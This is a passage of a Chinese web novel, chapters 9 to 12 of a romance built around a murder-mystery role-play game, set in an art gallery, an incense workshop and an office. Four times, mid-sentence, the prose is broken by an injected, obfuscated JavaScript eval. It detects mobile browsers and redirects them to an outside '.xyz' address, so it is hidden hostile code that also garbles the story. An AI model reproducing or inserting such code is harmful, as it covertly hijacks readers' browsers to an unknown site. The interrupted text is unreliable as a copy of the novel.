车拐进美术馆的停车场,这里的停车位又多又宽敞,给画画得到机会复习了一下倒车入库。 这家美术馆的主馆建筑应该是请人设计过的吧,像一个巨大的、摊开来的画卷,馆内空间在支起画卷的大型笔架里,那是一个倒下来的三角柱的空间。 过完美术馆的安检进去之后,左手边是个落地的电子屏,上面在宣传正在展出的作品主题:万古流芳事,历久弥新声——传统文化与现代创新交织的篇章。 右手边是一间文创商店。画画被文创店里的一套香道器具吸引过去,导购热情地问她要不要体验一下。 她跃跃欲试,又抬起眼睛征询我的意见,我错开她的目光,一不留神就要同意她在这里浪费时间了,幸好我头转得快。 于是画画和导购说:“我们先去参观一下,等会再来。” 也不知道这里的线索会以什么形式出现,会不会有NPC指引,我们只能煞有介事地观摩起这个展览。 美术馆不大,展出的作品也不是非常多,毕竟只是个私人的小展馆,更别提这些个艺术家我一个也不认识,看不出其中的水分有几分。墙上挂的那些画我只能看出个美丑,中间摆的那些装置我只能看个热闹。 为了能在这些多眼花缭乱的展出作品里快速捞到我要的线索,我停在每一个大作面前的时候,都是第一时间去看它的作者和作品名。 画画倒是看得真的挺认真的样子,每一个没标禁止拍照的作品她都要掏出手机拍下来。 我正在看一个名为《赛博朋克的猪》的作品名片,画画凑过来轻轻“咦”了一声。我顺着她的视线去看这幅画的内容,是一场包厢里灯红酒绿的酒局画面,倒在桌上的玻璃杯、墙上的金属材料、被拖得亮闪闪的大理石地面,到处映射着觥筹交错的聚会人群,确实很有赛博朋克的繁华与颓靡感。 画里离观展人视觉角度最近的那个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458189|185387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,手里正举着一本杂志,露出来的杂志页面上,正是印着拼图上的那只黑猫,这个角度看上去,就算是黑猫也显胖。更远一些距离的大部分人群拥过来哄抢着这本杂志,最远处的一名男性,右脚架在左膝盖上,仰身于背后的沙发上,双臂舒展得放肆,脸上笑意吟吟。我初步推测这名男性是顾主编。 我又折回去看作者名。 ——皮雅南。我不认识这个人,但我记得画画昨天晚上的人物关系网里,有个皮老板。 我便问画画道:“这个皮雅南是你写的那个皮老板吗?” 画画依旧掏出手机给这张画拍照,她应当是在脑海里检索了一遍,拍完后杵在那里翻了两下眼皮才回答我:“应该是的?出版社的赞助商都是那个叫姚发的去谈的,我一个臭画画的,哪里知道他们的生意经,酒会的时候他们都叫皮老板,我也跟着这么叫,但是据我所知,剧本里没有别的姓皮的人了。” 美术馆里的线索跟画画没有关系,却跟一个商人有关系吗? “你的作品挂在哪个角落了?” 画画手一抬:“这张就是我画的。” 我心里迷惑,脸上的五官也在思考:“你不是不认识皮雅南的吗?” “这幅画画完我匿名发给顾主编了。” “什么意思?为什么要发给顾主编,还是匿名的?” “我在讽刺他呀,你以为这个画名里的猪在说这只猫吗,在说这群拍马屁的人呢。而且——”画画转过身来正对着我,将声线压得更低,“这场酒会之后,我看到顾主编收受贿赂了。” 她往画上指了指,指在最前面那个捧着杂志的人身上:“杜小撰。” “那画的署名怎么会变成皮雅南?” “那我怎么知道,不然我刚刚看见署名的时候干嘛要‘咦’一声呢。” 画画滴水不漏地自圆其说了,要么她不是凶手,要么她是这个游戏的高手玩家。 为了防止出现线索的遗漏,我们把剩下的画全看了一遍,没有再看到什么有疑问的作品,就算看漏了什么也没关系,画画全都拍下来了。 拍完画画又去看那些新奇有趣的装置,我脑子里突然灵机一动,问画画:“你只是想讽刺一下顾主编吗?你没有勒索他什么的吗?” 她不是一直被顾主编职场打压吗?这是她的好机会。 画画站在这个从房梁上挂下来的绢布装置后面,两手一摊:“勒索他了不是更能说明我没有杀他吗?” 这个装置恰好遮住了画画的肩部往上部分,我没能看到她的表情,她摊开的双臂稍微向上举一下,就像要起飞了的样子,也像被这个装置勒住了头颅,她要伸手去解开束缚。 我朝那个装置走过去,画画已经从那个装置后面钻了出来,皱着眉头向我评价这个装置:“看不懂。” 她把其余的装置也一一拍照留存后,想起来要去体验那个香道,我看时间不早了,来不及再跑一个线索地点,就和她一起去了。 时间也不算太晚,足够她好好体验一把。 9. 梁上燕-6.22 梁上燕6月22日周日天晴 我对香道感兴趣是一回事,我知道那个文创店里有我的线索又是另一回事了。我还特地把小手引过去,真是做慈善。 本着来都来了的原则,我让小手也坐下来感受感受。 导购坐在我们两人对面,桌子中间摆着体验道具。她将两个白色的香炉放到我和小手的面前,阔口香炉里底沉着一层平坦的白色香灰,中间印着一枚云纹的褐色烙印。 导购说要领我们体验打香篆。香炉里这层褐色云纹是上一个体验者留下来的,我们得先把它清除。 我们跟着她的步骤,有样学样地从那一排的小铲子小刷子里,挑出一个小勺子,将褐色的香灰挑出来,只留下白色的那部分。 关于这一步的解说,导购是这么和我们讲的:我们最后要点的香就是这个从模具里倒出来的香粉,每一次打完香篆品的香,都是平心静气、全神贯注地做出来的新香。 至于为何不把焚后的褐色香灰与白色香灰随意混合,除了美观的考量,更是因为古人认为白色香灰为上品,被污染了便不再纯洁,再者,两种香灰从本质上就是不一样的,是不应当混为一体的。 而后的松灰、压灰以及扫灰等等一系列操作步骤,我和小手简直是两个典型案例。我认为我足够认真了,但小手更是高手,压灰和扫灰的时候,有一丁点不平整之处和粘在香炉壁上的香灰他都要强迫症发作地重新处理一遍,来来回回我的篆文都脱模了,他还在扫香灰。我把那些无伤大雅的瑕疵全都无视掉了,急于看到我的劳动成果。 导购把一根线香递到我手上,让我亲手点燃我的香篆。我俯身侧头的时候,手肘不小心顶到了小手。我心想,完了。 转过去一看,果然完了。小手正在起篆,我碰到他,他手不稳,直接把篆文拔烂了。云纹不似云,裂在白色的香灰上。 我心虚地去看小手的脸色,他没有勃然大怒,我便松下一口气。赶忙又安慰他道:“没事没事,重在参与。” 小手沉默片刻,把那篆文的香粉一点一点舀出来,香炉里恢复成只有白色香灰的状态。我以为他要从头开始重新做,他却把手里的工具放下来,宣告结束。 我以为他在生着闷气,心里慌得不行,憋了半天也没好意思把那句“对不起”说出来,脑子里只是在转着怎么圆场。我把手里的线香举到他跟前,又把我做完的香篆推过去,说:“点我的点我的,就当这个是你做的。”小手坚持不肯要我这个不完美的作品,但又不想再做一个出来。 导购在桌子对面尴尬又保持着礼貌的微笑。 这时候,只能祭出我的线索了,不然我不知道怎么转移小手的注意力。他说要看我点香,我被看得都下不去手。 我清了一下嗓子问导购:“我点之前能先拍个照吗?” 导购:“当然可以。” 我便说帮我拿一下,把线香成功交到小手的手里,掏出手机来了一张。拍完又十分故意又假装不经意地目视着那一排商品柜背后被遮住了一大半的照片剪影墙,尽可能往语气里填充惊喜:“这里还有许愿墙呢。” 小手扭头轻看一眼,又把头扭回去了。 我说你快把香点了,我们去看看。幸好小手不是倔驴,他埋头飞快地点着香,导购帮我们把香炉的盖子盖上,香灰在香炉里沉默地烧起来。 小手显然对别人的愿望不是很有探究的欲望,只去看这面墙上的活动照片。我点在一张心愿书签上:“你看这个。” 他终于看到了这张署名为“赖一”的书签上的信息:不想上班不想上班不想上吧!许愿明天不用上班! 笔锋很张扬,字迹很用力,感叹号也连打了三个。 “赖不平?”小手问我。 我点点头,又指到另一张书签上:我帮你。——皮一。 “她们俩有联系?” 我没说话,全当默认了。我没和小手说我手底下还压着一张书签,上面的署名是画一。嘿嘿,想不到吧,我们三个私底下都有联系,我虽然没有见过皮雅南,但是我们在这张许愿墙上交谈甚欢。 小手在那里沉思。对他来说确实好似拿了最迷惑的那个剧本,整个关系网里,就数他的信息最闭塞。 我拍拍他的肩:“走吧,回家好好想。”我得让他先走,确保他没有看到我那一张留言。 小手被我推着磨磨蹭蹭地走,出了美术馆。外面的天色不早不晚正正好,回家还能躺好久,美滋滋,就是想到明天要去上班了,又美不起来许多,只能美一点点。 我要去开车,小手已经坐在了驾驶位上。对啊,我们该分道扬镳各回各家了。 于是我没有上副驾驶位,站在车窗外说:“我坐地铁回去好了,下周见。” 小手把车窗摇下来,眼皮子抬都没有抬:“先送你回家。” 我不跟自己作对,想坐四个轮的车回去就坐四个轮的,屁颠颠儿地就绕过去上了车,殷勤地给小手开导航。 一路上小手出奇地没有询问我关于那张许愿墙上的纸条的信息,可能他也想到了明天要上班,现在心情正郁闷。但是他不问问题,也不说点别的,车里的气氛仿佛回到了周六我刚上车的时候,空气里都流动着不熟。 我又怀疑他是不是还在介意刚刚我杵坏了他的香篆体验。人在尴尬的时候就会找点事做,我就从副驾驶位置上探出一只手去够后座上的炸鸡赠品玩具。我知道我不解开安全带,肯定不会够得着,但我不能闲着。 我一直够着够着够到了我家楼下。小手熄了火,我脑袋一歪:“你怎么开进小区的?” 小手:“昨天晚上和门卫打过招呼,他认识我了。” 我:“认识你就放你进来?”这像什么话,一点原则都没有。 我说着按照我的惯性动作去拿玩具,忘了安全带没有解,被背回来,原座撅了一个屁墩。 小手解开他的安全带,去帮我拿那两个离他更近的玩具。衣物拉扯出的线条把他的腰部勾勒得很明朗很流畅。 我的衣服。 我穿着的时候怎么没觉得这衣服版型还不错?我就是想上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458190|185387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手检验一下,到底是不是因为小手的腰部肌肉比较发达,绝不是夜深了人容易鬼迷心窍。 覆到小手腰际上的那一刻,我感受到了,腰肌确实很不错,就是他抖什么?抖得玩具都拿不稳,直接从他手上滑到后排地上。 “你别把我泡泡机摔坏了。”我责备他道。 “你干什么?”他责备我道。 “我干……”我卡词了,因为思绪不由人,脑子它自己想起昨晚,同样在小手的车里,我干了些什么。昨晚的事我还能跟自己说我是受刺激了,今天我是受的哪门子的刺激。 我还想辩驳一下,小手拧着上半身,一把握住我的小臂,力度不小,捏得我的咸猪手伸不到更前,也缩不回去,回看我的眼神里也带着一些晦涩不明的东西。 我觉得他僵在这个动作里一定很累了,就去扶他先直起身。他跟触电了似的猛缩一下,倒是把我给先扶正了。 他扶了一下眼镜,嗓子里发出的声音比正常时也低了两个分贝:“你昨天晚上在想什么?” 怨我,他也想起了昨晚的事了。 “嗯……”我把安全带的扣子解开扣上、揭开扣上、再解开再扣上,想编一套能让他接受度高一点的说辞,总不能说昨晚是因为我觉得身上便宜沐浴露的味道让我难受,像个原始动物一样,想蹭点别的味道到身上来的吧? 于是我开始闭着眼睛瞎编;“昨晚突然占有欲犯了,给你上点标记。” 小手的眉毛皱皱巴巴:“你想占有别的动物的时候也这样吗?” 我说:“画画出钱雇佣了小手,有点占有欲怎么了!我那是尊重剧本人物!” 小手这个剧本人物暗恋他的雇主,心甘情愿地照顾她生活的方方面面,别以为我不知道。 我还在“咔哒咔哒”玩着安全带的手突然被小手压回去,安全带死死地扣上了。他像昨晚的我一样,翻身压到副驾驶的我身上来。以我之道,还施我身。 死小子,重死了。 “我可以去你家吗?”他在喘息的空隙间又得寸进尺了起来。 呼吸打在我的脸上,我想叫他别喘气了,他喘得我面前的空气都不够用,害我也跟着一起喘。这么喘着,就好像在点头一样,着了他的道。 坐电梯的时候我已经尽量多吸了一点空气,但一进门,我嘴里储存的氧气又被小手噙走了大半。 我支支吾吾:“不行了不行了,小手,我明天还要上班。” 他不听,他是不是上班时间比我还晚?我只能推他,连小手也不叫了,直呼他的大名。 他听见自己的名字总算有了一点反应,停止了啃咬,一只手把我的脑袋捂在他的脑袋旁边,另一只手撑着墙面,他说:“我这是尊重剧本人物。梁上燕。” 他怎么知道我叫什么的!我不由得惊奇着侧过脸去看他,但他的头离得太近了,只能擦着面颊看到他的眼镜已经歪了。 我从他的胳膊底下抽出一只手来帮他扶正,他却又把他的正脸贴过来。很快,我扶正的眼镜又在挤压之间歪歪扭扭。 10. 梁上燕-6.23 梁上燕6月23日周一天晴 我坐在工位的时候,脑袋还在嗡嗡嗡地轰鸣,怎么从床上爬起来的、怎么上的地铁、怎么打的卡我全凭的肌肉记忆。我不能思考别的,倒是把昨晚的情景一遍又一遍地在脑海里复盘,找一个我那么放肆的正当理由。 小手喊了我的名字,我一惊讶,张开了嘴,这没有毛病吧?没有。 天太热了,空调刚开温度还没有降下来,我帮小手脱件衣服,这没毛病吧?没有。我都帮他脱了,他也帮我脱一件,这也没毛病吧?没有。 我们在电梯里被蚊子咬了,身上有些痒,互相挠一挠,这没毛病吧?没有。 后面的事该怎么说呢,只能说如果你能理解张惠妹的《相爱后动物感伤》,那应该就能理解我当时的脑子里为何会被冲动填满,我不想在周日的晚上,想到第二天就是年中的最后一个周末,辗转反侧因而产生自我了断的想法。 我的理由十分充分。 但我现在有一点事后的焦虑了。早上起来的时候,小手已经在厨房煎了两个蛋。让我有一种领地被侵占的既视感。 我快迟到了,没有吃他的煎蛋,飞快地洗漱收拾好之后,我把一张写好了电话号码的纸条拍在桌上,我说:“有事打我电话,微信号码也是搜这个。” 然后我就出门了,一点不敢直视小手。 但我到岗之后直到现在,一个打我电话的也没有,连微信里“新的朋友”里也没有亮起小红点。我很想不在意的,但我一直在抖腿,这有点影响我对账和写报表了。 同事以为我有什么高兴的事,腿脚没停过,我说我在听歌。她问听的什么歌,我说张惠妹。 直到午休吃饭的时候,我的微信终于弹出消息了,但不是好友申请,是程可。 程可:游戏还行吗?下周继续? 我:还行吧。可以继续。 她给我比个大拇指,我没说我玩这个游戏往家里带了个大耗子。 程可又和我聊了些两天里都玩了什么剧本不相关的东西,我还想从她那里套路一点线索信息的,被她死死瞒住。不愧是我精挑细选的朋友,我也绝口不提我找到的线索。 聊得正高兴的时候,总经理扫兴的电话打了过来,张口就是问人在哪。午饭时间问我在哪里,我能在哪里。 但我不敢那么横,我只敢轻声细语地向他汇报:“我在外面吃饭,冯总。” “网银的USB插盘找不到了,你下午跑一趟银行,去补一个。” “怎么会找不到了,您右手边第一个抽屉里没有吗?” “没有,你就跑一下吧,懒得找了。” 我一般都是给他收在那个抽屉里的,没了那只能说明他又带回家然后不知道乱扔到哪里去了。我这周正是忙得不可开交的时候,他还要给我加任务。 我正在腹诽他呢,他又用他那欠揍的语气说:“对了,这个月的工资表怎么还没有发给我?” “小秦那边的绩效考核还没有发给我。” “不要一天天的就会找借口,她没发给你,你不会去要吗?要我去帮你要吗?” 我没憋住,说:“那冯总帮我要一下吧。”小秦我可太了解了,我今天去找她,她只会说:急什么,离发工资不还有两天吗,然后拖拖拉拉之后今天包到不了我手上。 冯总可能没想到我整这出,噎住两秒:“自己要去!”然后挂断了电话。 “自己要去!”我也对着挂断的电话喊,但我学不来他的官腔官调。 下午要跑银行的话,吃完午饭我就该上工了,不然晚上还不知道几点才能回家。 着急忙慌地把计划里该干的事干得差不多了,我去找小秦,小秦也正焦头烂额地打电话,我等她好不容易挂断一个,问她要考核表,她确实没好气地把我猜想的话改了几个字说给我听了,又接起另一个电话。 我于是放弃在她这里耗时间,转头就要出门去银行。小秦捂住话筒那端,叫住我:“你这么早就下班吗?” 我心里感到不愉快起来,她以为我早退是吗?我告诉她我去给冯总补办网银。 她悻悻:“好吧,那我不计你今天矿工了。” 小秦不上班的时候也是个可爱的女孩子。 银行里人不是很多,不用排多久的队,我是这么想的。但事实上我还是等了很久,对公业务有时候就是出奇地难等。也不好说什么,上次我问柜台的小妹妹怎么这么慢,差点把她问哭了,她说她也很想快,但是步骤就是很繁琐,做错了反而会更慢,还要被后台记下来,所以她每一步都在边做边检查。 我还在等的时候,那个妹妹就在招呼我了:“今天来办什么?” 我说:“我们冯总又把网银弄丢了。” 她“嘿嘿”着苦笑出两声,不知道笑我还是笑她自己:“你们冯总不差钱说是,换一个网银也要二十块钱呢。” 是,他当然不差钱,我们打工的才差钱。 真是庆幸我赶在银行落门之前出来了,还能回公司再拉会儿磨。中途总经理大人还打电话问我怎么不在工位,他可能是失忆症又犯了,像忘了网银被他扔在哪里了一样,忘记把我扔去了银行。 我回去加班,小秦看到我很安心,冯总看见我也很安心。我把网银放到他桌上,还要叮嘱他下次不要带回去用了,用完还放回抽屉里。他盯着他的电脑胡乱敷衍我,我怀疑他在玩扫雷,想探头过去验证想法,被他一眼瞪缩回头。 有时候我就会想,冯总是不是我们大老板的儿子或者什么别的亲戚,以他这个记性和资历,很容易让人产生质疑。但他这个位置,他就是不坐了,我也坐不上去,我连小秦的绩效表都要连着催两天才能拿到。而冯总只要一声令下,小秦两个小时之内就会发到我邮箱来,可惜他金口难开,他大概是喜欢看我们底下人互相扯头花。 但我回到座位上的时候,打开邮箱,里头已经躺着这个月的绩效表了。好奇怪,小秦的太阳从西边升 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458191|185387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来了。 我忙完手上乱七八糟的活儿,报告写了一小半,脑袋就已经晕晕乎乎的了,还是回家明天再来写好了,我还是很惜命的。 走的时候冯总办公室的灯还亮着,我心里骂了一句:人走了灯也不记得关。我从他门口把手摸进去“啪嗒”一声关了,然后迫不及待地锁门开溜。 下班的心情比上班的时候好太多了。我人还在地铁里,就已经在脑子里思考好了等会点个什么外卖看个什么电影。 我打开家门,里面怎么也透出来光?坏了,小手走的时候也不关灯是吧?周末要是见到他了,我保证骂他。 关上门扭头看见桌上安静地躺着两个菜,小手又从厨房里端出一碗汤来,看到我满脸问号,也没有打算解释一下,自顾自地说:“你回来了?我用了一些你冰箱里的菜,还有厨房里的水电油盐,有机会还给你。” 我不光是很疑惑,我还很震惊,简直到了匪夷所思的地步,我问小手:“你为什么没回家?” 他用了我冰箱里的东西,我倒不是很介意,那些菜本来就是我一时兴起买来让冰箱别闲着、放到快烂了就转移到楼下垃圾站的装饰。但是,他为什么不上班?他为什么还待在我家?他什么成分?赖住我了吗?这行为细想来有点可怕了。 小手把手里的汤碗放下来,也是异常地严肃认真。他把放在我桌角的一张卡片拿起来举给我看。我一眼瞥过去,是他的身份证,姓名那一栏印着柏青两个字呢。 举个身份证给我看是什么意思,我没问出声,柏青这脑子应该是看得懂我看他的眼神里全是困惑。 他便说道:“我不知道你能不能理解和接受,我现在回不去我家。我不是你这个世界的人。” 我不能理解。我怀疑他家是精神病院。 柏青朝我走得更近些,把那张身份证贴得更近,他指着上面说:“不信你可以去搜我这个家庭住址,跟你的世界里是不匹配的。” 我把他的身份证抽到自己手上来,读了一遍他的家庭住址,又把手机掏出来,在浏览器里搜索。 才输入了个省市区,冯总的电话又打了过来。我只能先接电话。 电话那头的冯总很暴躁,他直接用吼的跟我讲:“梁上燕!你脑子有没有问题!我就趴桌上闭了五分钟眼睛!你把我锁单位?快来开门!” 我真是倒了血霉了,我哪知道这家伙还在办公室,他平时走得比谁都早。偏偏我司有一些抠搜的毛病,不装电子门,搞把大锁从门外把两个门把手一框、钥匙藏门外的迎宾脚垫下就算完事了。 烦死了烦死了,让他搁公司过一晚上得了。 我把身份证先还给小手,转身又要出门,我一边换鞋一边和他说:“我回来再跟你说。” 小手把身份证收好,把我手里还没有来得及放下的包接过去,说:“我送你过去吧。” 忘了他还有辆车,比地铁快,比打车省。我没反对,我真是和我们公司一个作风的抠搜。 11. 柏青-6.23 柏青6月23日周一天晴 我明白我大概是吓到画画了,换我我也要毛躁。但我可以解释,这不成什么问题,我也不是成心这么干的。 至少画画还接受我送她去办事,还有机会说清我不是奇怪的人。等她上了车系好安全带,我正企图开口,画画抢占了先机。 她挠着脖子问我:“你跑出来家里人知道吗?” 我都笑出声了,突然穿来这个世界,谁能知道啊,估计过个两三天就有人知道了,然后去公安局报失踪。 画画听见我笑,挠脖子挠得更凶了,她把左手压到我正要拧开的车钥匙上:“你笑什么?你现在是清醒的吗?” “清醒的。” “你下去我来开。” “也可以,我的驾照在这里应该也是无效的。” “所以你昨天故意喝的酒酿?” “我没喝酒酿,那是一杯白开水。” 画画沉着脸,大有被戏耍之后愠怒压不住了的架势。“下去!”她语气不善。 我没下。我说了要送她的,要是换成她开车的话,那就不算我送她了。刚刚那句“也可以”是跟画画开玩笑的,只是她没笑而已。 画画沉默了一会儿,把手挪开了,她说:“不下那你开吧,我赶时间。”她把目的地报出来之后又问我:“是不是这地方也不认识?” 我扶着眼镜点点头。画画又翻出手机导航,导完我都开上路了,她又发问道:“为什么没有加我微信?手机也没用吗?” 我只能又点点头。 “那你车怎么是有用的?” 这两个世界的车不都是圆的轮子吗,这怎么个没用法,画画的问题好搞笑。 “身份证!”画画摊开一只手。 我提了提胯,示意她在我的裤兜里。画画的手伸过来又缩回去,脸上别扭地拧着眉毛和嘴角。不会是在害羞吧?跟她昨天前天生吞人的人设不符啊。 于是我飞快地从兜儿里抽出来摆到她手上,但她的手机在导航,暂时也没法搜索我的住址。 她把我的身份证揣自己裤兜里去了,说先没收。没收了我的身份证又要来没收我的手机,我说:“这个我没带在身上,扔在你家了。” “那我回去再检查。” 很快就到了画画的导航终点,她和我说待在车上等她。我没答应她,因为我想在车外等,车里还是有点闷的。 画画钻进前面那栋写字楼没过多久,就出来了,旁边还有一个人一直在指指点点地跟她说话,说得画画缩手缩脚的,不是在点头就是在哈腰。 那人和画画一起走到我这里的时候,画画和他说:“哈哈,冯总,你车在哪里,要我们送吗?” 因为画画站到了我这一侧,我感觉对面这个冯总的两只眼睛像安检员手里的金属检测器一样,把我和画画并排上下扫视,然后他露出玩味的笑容,语气也是轻佻的:“谈男朋友了?” 画画不置可否,懒懒的,一副不想回答又不得不敷衍一下的样子:“哈哈,嗯呐。” 冯总便重新再将我扫视一遍,不屑之情明眼人可见。他跟画画说:“那你们送我一下吧,太晚了,不想开车了。” 那这不就是我送吗? 画画没让我送,她自己爬上了驾驶位,我被安排到了副驾驶。画画没有需要问冯总家住在哪里,也没有要开导航,直接就出发了。 虽然看不太清路边的建筑物标志,但我隐约觉得有些熟悉,看见绿化带的时候猛然想起这是昨天去美术馆的路。 冯总在后排一点也不安分守己,不停地在问画画工作上的问题。一个接一个地问过后,话锋一转,又问:“小梁,你男朋友是干什么工作的?” 画画瞥了我一眼,停顿了几秒:“他……他做智能技术方面的,我也不是很懂。” “哦。”冯总这个“哦”字拉得有点长,还是让人不太舒服的感觉,而且他对下属的私生活好奇心怎么这么旺盛,又问:“你们是怎么认识的?小梁,你偷偷去相亲了?” “偷偷”二字用得真是奇妙,画画难道还要公开去相亲吗? 我们画画的脑瓜子一看就是好看又好用的,她也不顺着冯总的话回答,拐弯抹角地讽刺冯总管太宽:“哈哈,冯总,你好像我爸。” 冯总是油盐不进啊,还在输出:“领导帮你把个关嘛。” 我从后视镜里打探了一下这个冯总,年纪也不大,也算人模人样的,怎么这么喜欢当下属的爸。 画画依旧跟冯总打马虎眼:“哈哈,冯总放心吧,我长着眼睛呢。”她说完还要斜着眼睛白我,甩给我一个眼刀,这白眼我挨得冤枉,我又不是真的男朋友。 车停在一栋三层的小洋楼前面,外装风格透着一股洋娃娃的裙子的味道,繁复又不大实用。 冯总装睡赖着不下车,画画提醒了他好几声“到了”。 等他好不容易磨磨蹭蹭地下去了,画画随意打了个招呼,车头一转油门都没松地就上路了。 我说:“你领导是不是有点问题?” 画画:“你也有问题,你们都有问题。” 我闭上嘴巴。这个我承认,我问题也挺大的。我之前还只是骗了画画一点钱,现在她连身心也要失守了。 画画气鼓鼓地停好车,没有立马就下去,她把手机和我的身份证又翻出来,对照着在手机地图里搜索。搜了一遍没有搜到,又换了网页重新搜索,仍旧没有。 她翻来覆去地看我这张身份证是不是假的,还口头警告我:“造假证是违法的哦。” 我说:“我没那个本事。” 画画:“你不是做这个的吗?” 我:“我不是做身份识别技术的。” 画画:“下车,去拿你的手机。” 我下车之后,画画一定要像押犯人一样,把我的两只手背到身后,推着我的肩膀往前走。如果不是我配合,她连我的两条手腕都圈不住。 想了一下又觉得,我不能给她这种“这一招可以制服一个体型比她大的成年男性”的错觉,反身把画画压在了电梯里的墙壁上。 我没有用很大的力气,但是画画疼得嗞儿哇乱叫,惊慌地胡乱扑腾起来,伸手就朝我挠了一爪子,在我下巴上刮出一道渗血的红杠。 我把手松开来,画画顺着电梯壁滑坐到地上,抬起头泪眼婆娑,她呜咽着说:“我要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458192|185387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 报警了。” 说着便在她的小挎包里找手机,找到后又被我一把夺过来,我说:“不行。” 画画看着我因为着急而显得有些扭曲的脸,泪珠子“吧嗒吧嗒”滚下来。我不清楚这个电梯的监控会不会有人实时看着,连忙把楼层按下去。再去扶画画起来的时候,她推拒着我的手不让我碰,我便没有强行去拉她起来。 电梯“叮”一声到了画画家那层,我把手横在电梯门上,让她先爬起来下电梯。 站在家门口的画画也磨磨蹭蹭的、迟迟不掏出钥匙开门。她在包里摸了半天的手顿住,明显是已经摸到钥匙了。但她背靠着大门,再次向我确认:“你真的没有精神病吗?” “没有。” “那你是想要钱还是想要色?” “我没有想要这些,”我无奈地把手机塞回画画手上,“我的意思是,我主观上没有想不劳而获这些东西,但客观上我需要生存,以及我受到了你的诱惑。” “你已经知道我家菜刀放在哪里了。” 我要急笑了,主动和她隔开一段安全距离:“画画,我不是坏人。” 她终于肯先开门了,在门口争论了这一小段时间里,还好没有其他住户路过,不然我怕他们替画画报警。 进门之后画画搬了一张凳子,放在墙角,让我过去坐好不准动。把我的手机找出来,让我解完锁便站在我面前里里外外地翻看。由于连不了网络,能查看的信息有限,只能在相册、备忘录里翻一翻,再看看我过往的聊天记录。 相册和备忘录里全是我的工作内容。聊天记录也少得可怜,但至少能证明我是个正人君子,里面没有什么不良记录,一派正经作风。 画画又搬了张凳子,坐到我对面。指着我手机通讯录里的几个名字,从上问到下:“这个是你什么人?” “我教授。” “这个呢?” “我爸。” 然后画画就把她自己的手机掏出来,对着我爸那串号码拨过去。铃声响了两下,还真有人接听了,连我的耳朵都忍不住竖起来。 画画:“喂?您好,请问您是柏青的父亲吗?” “打错了!”对面直接挂断,真是不出我所料。 画画不信邪地又问了两个人身份拨了两通,全数碰壁。她的世界观可能在这两三通电话里,逐渐被瓦解重构。 她开始捧着我的脸左右端详:“你知道你是哪里穿越过来的吗?” 我说不知道,她便兴致勃勃地计划起来:“我回头多看点小说和漫画,看能不能在哪里把你给扒拉出来。” 她又翻看我的前胸和后背:“你身上有系统吗?你有没有什么任务?你要攻略我吗?” 我没出声,我要是和她说我觉得你这里才是小说世界,她刚构建的新世界观可能又要推翻,又或者她可能会以为我在跟她抬杠。 画画家里没有碘伏,但是有创可贴,她找来一片给我贴下巴上的指甲痕。我想起我背上也有两道,摩擦衣物的时候会有点刺人,我跟画画说要不再找两片,我把后背也贴上。 她面目绯红,把创可贴拍在桌上:“我没有诱惑你,是你在诱惑我!” 12. 梁上燕柏青-6.24 梁上燕6月24日周二天晴 小手把他的来历说得太超自然了,我就当他是失忆了暂时赖在我家,等他什么时候想起来自己家在哪了,看我怎么嘲笑他,我还要让他付我房租。 我把隔壁那间卧室收拾出来给他暂住,但我不能一直养他,跟金屋藏娇似的。我说你要么快点想想你怎么回家,要么快点想想怎么打工赚钱。 他问我能不能给他一把钥匙,他出门不方便,全然没有把我刚才的话放在心上。 今天上班依旧很忙,但我还想起来抽空花五十块钱去网上买了三件短袖,给小手替换着穿。 午休的时候我又溜到附近的数码城买了个二手的按键手机,等小手不要了我带回老家去换给我奶奶,做到我这个份上,小手他以身相许一点不过分。 不智能小手机的交易刚成交,冯总催命的电话又打过来了:“小梁,下午我要去拜访个客户,你陪我走一趟。” 这个活儿凭什么落在我头上,小秦小孙小王哪个不能去。冯总挂电话之前又让我买点水果牛奶或者别的什么礼品,下午带过去。 我好好的一个午休,除了吃饭干的是我自己的事,别的没一个跟我挨边。小手的事勉强沾点边。 